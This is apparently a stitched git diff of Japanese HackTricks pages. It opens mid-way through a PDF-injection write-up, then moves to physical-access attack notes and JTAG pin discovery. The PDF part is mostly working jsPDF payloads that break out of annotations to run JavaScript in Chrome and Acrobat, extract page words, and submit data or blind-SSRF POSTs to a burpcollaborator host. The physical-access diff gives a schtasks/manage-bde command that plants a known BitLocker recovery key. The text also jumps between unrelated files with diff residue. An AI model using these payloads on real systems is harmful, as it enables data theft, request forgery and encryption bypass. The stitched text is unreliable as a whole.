``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});``\
`doc.text(20, 20, 'Click me test');`
上記のベクトルでは、PDFの構造に関する知識が必要です。\[ 3 0 R]は特定のPDFオブジェクトを指し、ブラインドPDFインジェクション攻撃を行う場合、その構造を知ることはできません。それでも、次のステージではフォームの送信を試みます。これにはsubmitForm関数を使用できます。また、注釈にはクリックが必要なため、Chromeはそれを許可します:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F 4/DA(blah`
これは機能しますが、乱雑でPDFの構造に関する知識が必要です。これを大幅に削減し、PDFの構造への依存をなくすことができます:`#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0 0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(`\
`app.alert(1)`\
`)/Type/Action/F 4/DA(blah`\
``
まだ削除できるコードがあります:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(A)>>/A<</S/JavaScript/JS(app.alert(1))/(`});``\
`doc.text(20, 20, 'Test text');`\
``
上記のコードは注釈から抜け出し、新しい注釈を作成し、ページ全体をクリック可能にします。JavaScriptを実行するためには、ボタンを注入し、"T"エントリを使用して任意のテキストを与える必要があります。そして、辞書内のJSエントリを使用してJavaScriptコードを注入できます。ChromeでJavaScriptを実行することは素晴らしいことです。この研究を始めたときには可能だとは思いませんでした。
次に、submitForm関数を調査してPDFの内容を盗む方法を見てみました。この関数を呼び出すことができ、上記の例のように外部サーバーに接触することがわかっていますが、完全なAcrobat仕様をサポートしているのでしょうか[PDFiumのソースコード](https://github.com/PDFium/PDFium/blob/master/fpdfsdk/src/javascript/Document.cpp#L818)を調べましたが、この関数はSubmitAsPDFをサポートしていません :( FDFはサポートしていることがわかりますが、残念ながらこれはPDFの内容を送信しません。他の方法を探しましたが、利用可能なオブジェクトがわかりませんでした。Acrobatと同じアプローチを取り、興味深いオブジェクトを見つけるためにファズ/列挙ツールを作成しました。Chromeから情報を取得するのはAcrobatよりも難しかったです。alert関数を使用して出力する前に、情報をチャンクごとに収集する必要がありました。これは、alert関数が送信された文字列を切り捨てるためです。...`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>> <</Type/Annot/Rect[0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(``\
`(function(){`\
`var obj = this,`\
`data = '',`\
`chunks = [],`\
`counter = 0,`\
`added = false, i, props = [];`\
`for(i in obj) {`\
`props.push(i);`\
`}`\
`...`
[完全なコード](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/jsPDF/chrome/enumerator/test.js)
列挙ツールの出力を検査し、PDFから情報を取得するためにさまざまな関数を呼び出してみました。最終的に、PDFドキュメントから単語を抽出できる非常に興味深い関数であるgetPageNthWordを見つけました。これにより、コンテンツを盗むことができます。この関数には、最初の単語が抽出されないという微妙なバグがありますが、ほとんどの場合、ほとんどの単語を抽出できます:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>> <</Type/Annot/Rect[0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(``\
`words = [];`\
`for(page=0;page<this.numPages;page++) {`\
`for(wordPos=0;wordPos<this.getPageNumWords(page);wordPos++) {`\
`word = this.getPageNthWord(page, wordPos, true);`\
`words.push(word);`\
`}`\
`}`\
`app.alert(words);`\
`` `}); ``\
`doc.text(20, 20, 'Click me test');`\
`doc.text(20, 40, 'Abc Def');`\
`doc.text(20, 60, 'Some word');`\
``
これで、Chrome上でPDFの内容を盗むことができるので、submitFormベクトルと組み合わせるとデータを外部サーバーに送信できます。唯一の欠点は、クリックが必要であることです。Chrome上でクリックなしでJavaScriptを実行できるかどうか疑問に思いました。再びPDFの仕様を調べると、注釈辞書には「E」という別のエントリがあり、マウスが注釈領域に入ると注釈が実行されるということがわかりました。つまり、マウスオーバーイベントです。残念ながら、これはフォームの送信を有効にするためのユーザーの対話とはみなされません。したがって、JavaScriptを実行できますが、データに何もできません。データをこのイベントで送信できるようにChromeを設定できる場合は、教えてください。興味深いです。とにかく、マウスオーバーアクションをトリガーするコードは次のとおりです:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>``\
``<</Type /Annot /Subtype /Widget /Parent<</FT/Btn/T(a)>> /Rect [0 0 900 900] /AA <</E <</S/JavaScript/JS(app.alert(1))>>/(`});``\
`doc.text(20, 20, 'Test');`\
``
## PDFium/AcrobatにおけるSSRF
PDFium/Acrobatを使用してPOSTリクエストを送信し、SSRF攻撃を実行することが可能です。これは[ブラインドSSRF](https://portswigger.net/web-security/ssrf/blind)となります。POSTリクエストを行うことはできますが、レスポンスを読むことはできません。POSTリクエストを構築するために、以前に示したように/parentディクショナリキーを使用してフォーム要素を注釈に割り当て、JavaScriptの実行を可能にします。ただし、以前に行ったようにボタンを使用するのではなく、テキストフィールド(/Tx)にパラメータ名(/T)とパラメータ値(/V)のディクショナリキーを割り当てることができます。使用するパラメータ名をsubmitForm関数に配列として渡す必要があることに注意してください:`#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Tx/T(foo)/V(bar)>>/A<</S/JavaScript/JS(`\
`app.alert(1);`\
`this.submitForm('https://aiws4u6uubgfdag94xvc5wbrfilc91.burpcollaborator.net', false, false, ['foo']);`\
`)/(`\
``
他の攻撃(例:[request smuggling](https://portswigger.net/web-security/request-smuggling)を連鎖させる際に有用な、改行を含む生のテキストを送信することもできます。POSTリクエストの結果は、次のCollaboratorリクエストで確認できます
![PDFからのBurp Collaboratorリクエストを示すスクリーンショット](https://portswigger.net/cms/images/3f/61/fd38-article-ssrf-screenshot.png)
最後に、ChromeとAcrobatのハイブリッドPDFインジェクションで終わりたいと思います。最初の部分では、既存の注釈にJavaScriptを注入してAcrobat上でJavaScriptを実行します。2番目の部分では、注釈から抜け出し、Chrome用の新しい注釈を注入し、新しいクリック可能な領域を定義します。再びAcroformのトリックを使用してボタンを注入し、JavaScriptを実行します`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)/S/JavaScript/JS(app.alert(1))/Type/Action>> >> <</Type/Annot/Rect[0 0 900 700]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(app.alert(1)`});``\
`doc.text(20, 20, 'Click me Acrobat');`\
`doc.text(20, 60, 'Click me Chrome');`
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですかまたは、HackTricksをPDFでダウンロードしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details>
Acrobatについて多くを語りましたが、PDFiumChromeのPDFリーダーはどうでしょうかChromeは

File diff suppressed because one or more lines are too long

View file

@ -2,17 +2,15 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**PEASSの最新バージョンにアクセス**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
- [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter**で私を**フォロー**してください [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのコツを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する。
</details>
@ -20,24 +18,24 @@
### バッテリー
ほとんどの**マザーボード**には**バッテリー**があります。**30分間取り外す**と、BIOSの設定が**リセット**されます(パスワードも含む)。
ほとんどの**マザーボード**には**バッテリー**があります。これを**30分間取り外す**と、BIOSの設定が**リセット**されます(パスワードも含む)。
### ジャンパーCMOS
ほとんどの**マザーボード**には、設定をリセットできる**ジャンパー**があります。このジャンパーは中央のピンと別のピンを接続します。**これらのピンを接続するとマザーボードがリセットされます**。
ほとんどの**マザーボード**には、設定をリセットできる**ジャンパー**があります。このジャンパーは中央のピンと別のピンを接続します。**これらのピンを接続するとマザーボードがリセットされます**。
### ライブツール
例えば**Kali** LinuxをLive CD/USBから**実行**できる場合、_**killCmos**_ や _**CmosPWD**_(この最後のものはKaliに含まれていますのようなツールを使用して、**BIOSのパスワードを回復**しようとすることができます。
例えば**Kali** LinuxをLive CD/USBから**実行**できる場合、_**killCmos**_ や _**CmosPWD**_(この最後のツールはKaliに含まれていますのようなツールを使用して、BIOSのパスワードを**回復**することができます。
### オンラインBIOSパスワード回復
BIOSのパスワードを**3回間違える**と、BIOSは**エラーメッセージを表示**し、ロックされます。\
[https://bios-pw.org](https://bios-pw.org)のページを訪れて、BIOSによって表示された**エラーコードを入力**すると、運が良ければ**有効なパスワード**を得ることができます(**同じ検索で異なるパスワードが表示され、複数のパスワードが有効である可能性があります**)。
BIOSのパスワードを**3回間違えて入力する**と、BIOSは**エラーメッセージを表示**し、ロックされます。\
[https://bios-pw.org](https://bios-pw.org) のページを訪れて、BIOSに表示されたエラーコードを**入力する**と、運が良ければ**有効なパスワード**を得ることができます(**同じ検索で異なるパスワードが表示され、複数のパスワードが有効である可能性があります**)。
## UEFI
UEFIの設定を確認し、何らかの攻撃を試みるには、[chipsec](https://github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf)を使用してみてください。\
UEFIの設定を確認し、何らかの攻撃を行うには、[chipsec](https://github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf)を試してみるべきです。\
このツールを使用すると、Secure Bootを簡単に無効にすることができます
```
python chipsec_main.py -module exploits.secure.boot.pk
@ -46,7 +44,7 @@ python chipsec_main.py -module exploits.secure.boot.pk
### コールドブート
**RAMメモリはコンピュータの電源が切れてから1〜2分間データを保持します**。メモリカードに**冷却剤**(例えば液体窒素)を適用すると、この時間を**最大10分間**まで延長できます。
**RAMメモリはコンピュータの電源が切れてから1〜2分間データが保持されます**。メモリカードに**冷却剤**(例えば液体窒素)を適用すると、この時間を**最大10分間**まで延長できます。
その後、メモリダンプdd.exe、mdd.exe、Memoryze、win32dd.exe、DumpItなどのツールを使用を行い、メモリを分析できます。
@ -84,11 +82,11 @@ chntpw -l <path_to_SAM>
### **Kon-Boot**
**Kon-Boot** は、パスワードを知らなくてもWindowsにログインできる最高のツールの一つです。これは、**システムBIOSにフックして、起動時にWindowsカーネルの内容を一時的に変更する** ことで機能します(新しいバージョンは **UEFI** にも対応しています)。ログイン時に **任意のパスワードを入力することを許可します**。Kon-Bootなしで次回コンピュータを起動すると、元のパスワードが戻り、一時的な変更は破棄され、何も起こらなかったかのようにシステムは振る舞います。\
**Kon-Boot** は、パスワードを知らなくてもWindowsにログインできる最高のツールの一つです。これは、**システムBIOSにフックして、起動時にWindowsカーネルの内容を一時的に変更する**ことで機能します(新しいバージョンは**UEFI**にも対応しています)。ログイン時に**任意のパスワードを入力することを許可します**。Kon-Bootなしで次回コンピュータを起動すると、元のパスワードが戻り、一時的な変更は破棄され、何も起こらなかったかのようにシステムは振る舞います。\
詳細はこちら: [https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)
これはライブCD/USBであり、**メモリをパッチする** ことで、ログインするためにパスワードを知る必要が **ありません**。\
Kon-Bootは **StickyKeys** のトリックも実行し、_**Shift**_ **を5回押すと管理者のcmdが得られます**
これはライブCD/USBであり、**メモリをパッチする**ことで、**パスワードを知らなくてもログインできる**ようになります。\
Kon-Bootは**StickyKeys**のトリックも実行し、_**Shift**_ **を5回押すと管理者のcmdが得られます**
## **Windowsの実行**
@ -100,7 +98,7 @@ Kon-Bootは **StickyKeys** のトリックも実行し、_**Shift**_ **を5回
* f8 - リカバリーモード
* _supr_ - BIOS ini
* _f8_ - リカバリーモード
* _Shift_ (Windowsバナーの後) - 自動ログオンの代わりにログインページに移動する(自動ログオンを避ける)
* _Shift_ (Windowsバナーの後) - 自動ログオンの代わりにログインページに移動(自動ログオンを避ける)
### **BAD USBs**
@ -113,7 +111,7 @@ Kon-Bootは **StickyKeys** のトリックも実行し、_**Shift**_ **を5回
* [ペイロードとチュートリアル](https://github.com/Screetsec/Pateensy)
また、**自分自身のbad USBを作成する方法**についてのチュートリアルもたくさんあります。
**自分のBAD USBを作成する方法**についてのチュートリアルもたくさんあります。
### ボリュームシャドウコピー
@ -121,38 +119,36 @@ Kon-Bootは **StickyKeys** のトリックも実行し、_**Shift**_ **を5回
## Bitlockerのバイパス
Bitlockerは **2つのパスワード** を使用します。**ユーザー** が使用するものと、**リカバリー** パスワード48桁です。
Bitlockerは**2つのパスワード**を使用します。**ユーザー**が使用するものと、**リカバリー**パスワード48桁です。
運が良ければ、現在のWindowsセッション内に _**C:\Windows\MEMORY.DMP**_ ファイル(メモリダンプ)が存在する場合、**リカバリーパスワードを検索する** ことができます。このファイルとファイルシステムのコピーを **取得し**、_Elcomsoft Forensic Disk Decryptor_ を使用して内容を取得できます(パスワードがメモリダンプ内にある場合のみ機能します。また、_Sysinternals_ の _**NotMyFault**_ を使用して **メモリダンプを強制的に行う** こともできますが、これはシステムを再起動させ、管理者として実行する必要があります。
運が良ければ、現在のWindowsセッション内に _**C:\Windows\MEMORY.DMP**_ ファイル(メモリダンプ)が存在する場合、**リカバリーパスワードを検索する**ことができます。このファイルと**ファイルシステムのコピー**を**取得し**、_Elcomsoft Forensic Disk Decryptor_ を使用して内容を取得できますパスワードがメモリダンプ内にある場合のみ機能します。また、_Sysinternals_ の _**NotMyFault**_ を使用して**メモリダンプを強制的に行う**こともできますが、これはシステムを再起動させ、管理者として実行する必要があります。
**ブルートフォース攻撃** を試みることもできます。これに_**Passware Kit Forensic**_ を使用します。
**ブルートフォース攻撃**を試みることもできます。その場合_**Passware Kit Forensic**_ を使用します。
### ソーシャルエンジニアリング
最後に、ユーザーに新しいリカバリーパスワードを追加させ、管理者として実行させることができます。
最後に、ユーザーに新しいリカバリーパスワードを追加させることで、管理者として実行させることができます。
```bash
schtasks /create /SC ONLOGON /tr "c:/windows/system32/manage-bde.exe -protectors -add c: -rp 000000-000000-000000-000000-000000-000000-000000-000000" /tn tarea /RU SYSTEM /f
```
```
次のログインで新しいリカバリーキー48個のゼロで構成が追加されます。
これにより、次回のログイン時に新しいリカバリーキー48個のゼロで構成が追加されます。
有効なリカバリーキーを確認するには、次のコマンドを実行します:
有効なリカバリーキーを確認するには、以下を実行します:
```
```
manage-bde -protectors -get c:
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
- [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか、**Twitter**で私を**フォロー**してください [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。**
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) を使ってゼロからヒーローになる AWS ハッキングを学ぶ</strong></a><strong>!</strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricks をサポートする他の方法:
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* **HackTricks にあなたの会社を広告したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com) を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見する、私たちの独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクション
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に**参加する**か、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングのコツを共有する。
</details>
@ -19,52 +17,62 @@
# JTAG
JTAGはバウンダリスキャンを実行することができます。バウンダリスキャンは、各ピンの埋め込みバウンダリスキャンセルとレジスタを含む特定の回路を分析します。
JTAG はバウンダリスキャンを実行することができます。バウンダリスキャンは、各ピンの組み込みバウンダリスキャンセルとレジスタを含む特定の回路を分析します。
JTAG標準では、次のような**バウンダリスキャンを実行するための特定のコマンド**が定義されています。
JTAG 標準は、バウンダリスキャンを実施するための**特定のコマンド**を定義しています。以下を含みます:
* **BYPASS**は、他のチップを経由せずに特定のチップをテストすることができます。
* **SAMPLE/PRELOAD**は、デバイスが通常の動作モードにあるときにデータのサンプルを取得します。
* **EXTEST**は、ピンの状態を設定および読み取ります。
* **BYPASS** は他のチップを通過するオーバーヘッドなしで特定のチップをテストすることができます。
* **SAMPLE/PRELOAD** は、デバイスが通常の機能モードにあるときに入出力されるデータのサンプルを取ります。
* **EXTEST** はピンの状態を設定し読み取ります。
また、次のような他のコマンドもサポートできます。
また、以下のような他のコマンドもサポートすることができます:
* デバイスを識別するための**IDCODE**
* デバイスの内部テストのための**INTEST**
* デバイスを識別するための **IDCODE**
* デバイスの内部テストのための **INTEST**
JTAGulatorのようなツールを使用すると、これらの命令に遭遇することがあります
これらの命令は、JTAGulator のようなツールを使用するときに遭遇するかもしれません
## テストアクセスポート
バウンダリスキャンには、コンポーネントに組み込まれたJTAGテストサポート機能にアクセスするための汎用ポートである**4本のワイヤテストアクセスポートTAP**のテストが含まれます。TAPは次の5つの信号を使用します。
バウンダリスキャンには、コンポーネントに組み込まれた JTAG テストサポート機能への**アクセスを提供する**一般的なポートである四線式の**テストアクセスポート (TAP)** のテストが含まれます。TAP は以下の五つのシグナルを使用します:
* テストクロック入力**TCK**TCKは、TAPコントローラが単一のアクションを実行する頻度つまり、ステートマシンで次の状態にジャンプする頻度)を定義する**クロック**です。
* テストモード選択**TMS**入力TMSは**有限状態マシン**を制御します。クロックのビートごとに、デバイスのJTAG TAPコントローラはTMSピンの電圧をチェックします。電圧が一定の閾値以下の場合、信号は低いと見なされ、0と解釈されます。一方、電圧が一定の閾値を超える場合、信号は高いと見なされ、1と解釈されます。
* テストデータ入力**TDI**TDIは、スキャンセルを介してチップにデータを送信するピンです。各ベンダーは、このピンを介した通信プロトコルを定義する責任があります。なぜなら、JTAGはこれを定義していないからです。
* テストデータ出力**TDO**TDOは、チップからデータを送信するピンです。
* テストリセット**TRST**入力オプションのTRSTは、有限状態マシンを**既知の正常な状態**にリセットします。または、TMSが5回の連続したクロックサイクルで1に保持されている場合、リセットが呼び出され、TRSTピンと同じ方法でリセットされます。これがTRSTがオプションである理由です。
* テストクロック入力 (**TCK**) TCK は、TAP コントローラが単一のアクションを取る頻度(言い換えると、状態マシンの次の状態に移動する)を定義する**クロック**です。
* テストモード選択 (**TMS**) 入力 TMS は**有限状態マシン**を制御します。クロックの各ビートで、デバイスの JTAG TAP コントローラは TMS ピンの電圧をチェックします。電圧が一定の閾値以下の場合、信号は低いと見なされ 0 と解釈され、電圧が一定の閾値を超えると、信号は高いと見なされ 1 と解釈されます。
* テストデータ入力 (**TDI**) TDI は、スキャンセルを通じてチップに**データを送る**ピンです。JTAG はこのピン上の通信プロトコルを定義していないため、各ベンダーがこのピン上の通信プロトコルを定義する責任があります。
* テストデータ出力 (**TDO**) TDO は、チップから**データを送る**ピンです。
* テストリセット (**TRST**) 入力 オプションの TRST は、有限状態マシンを**既知の良い状態にリセット**します。または、TMS を 5 連続クロックサイクルで 1 に保持すると、TRST ピンがそうであるかのようにリセットを呼び出すため、TRST はオプションです。
場合によっては、これらのピンがPCBにマークされていることがあります。他の場合は、それらを**見つける必要がある**かもしれません。
時には、これらのピンが PCB にマークされているのを見つけることができます。他の場合では、**見つける**必要があるかもしれません。
## JTAGピンの特定
## JTAG ピンの特定
JTAGポートを検出する最も高速で最も高価な方法は、特にこの目的のために作成されたデバイスである**JTAGulator**を使用することですUARTピン配置も**検出できます**)。
JTAG ポートを検出する最も速いが最も高価な方法は、この目的のために特に作られたデバイスである **JTAGulator** を使用することです(ただし、**UART ピンアウトも検出する**ことができます)。
24のチャネルをボードのピンに接続できます。次に、**IDCODE**および**BYPASS**バウンダリスキャンコマンドを送信するすべての可能な組み合わせに対して**BF攻撃**を実行します。応答を受信すると、各JTAG信号に対応するチャネルが表示されます。
それにはボードのピンに接続できる**24チャンネル**があります。次に、**IDCODE** と **BYPASS** バウンダリスキャンコマンドを送信するすべての可能な組み合わせの**BF攻撃**を実行します。応答を受け取ると、各 JTAG シグナルに対応するチャンネルを表示します。
JTAGピン配置を特定するための安価で遅い方法は、Arduino互換のマイクロコントローラにロードされた[**JTAGenum**](https://github.com/cyphunk/JTAGenum/)を使用することです。
JTAG ピンアウトを特定する安価だがはるかに遅い方法は、Arduino 互換のマイクロコントローラにロードされた [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) を使用することです。
**JTAGenum**を使用する場合、まず列挙のために使用するプローブデバイスのピンを**定義**する必要があります。デバイスのピン配置図を参照し、これらのピンをターゲットデバイスのテストポイントに接続する必要があります。
**JTAGenum** を使用する場合、まず列挙に使用するプロービングデバイスの**ピンを定義**します。デバイスのピンアウト図を参照し、これらのピンをターゲットデバイスのテストポイントに接続する必要があります。
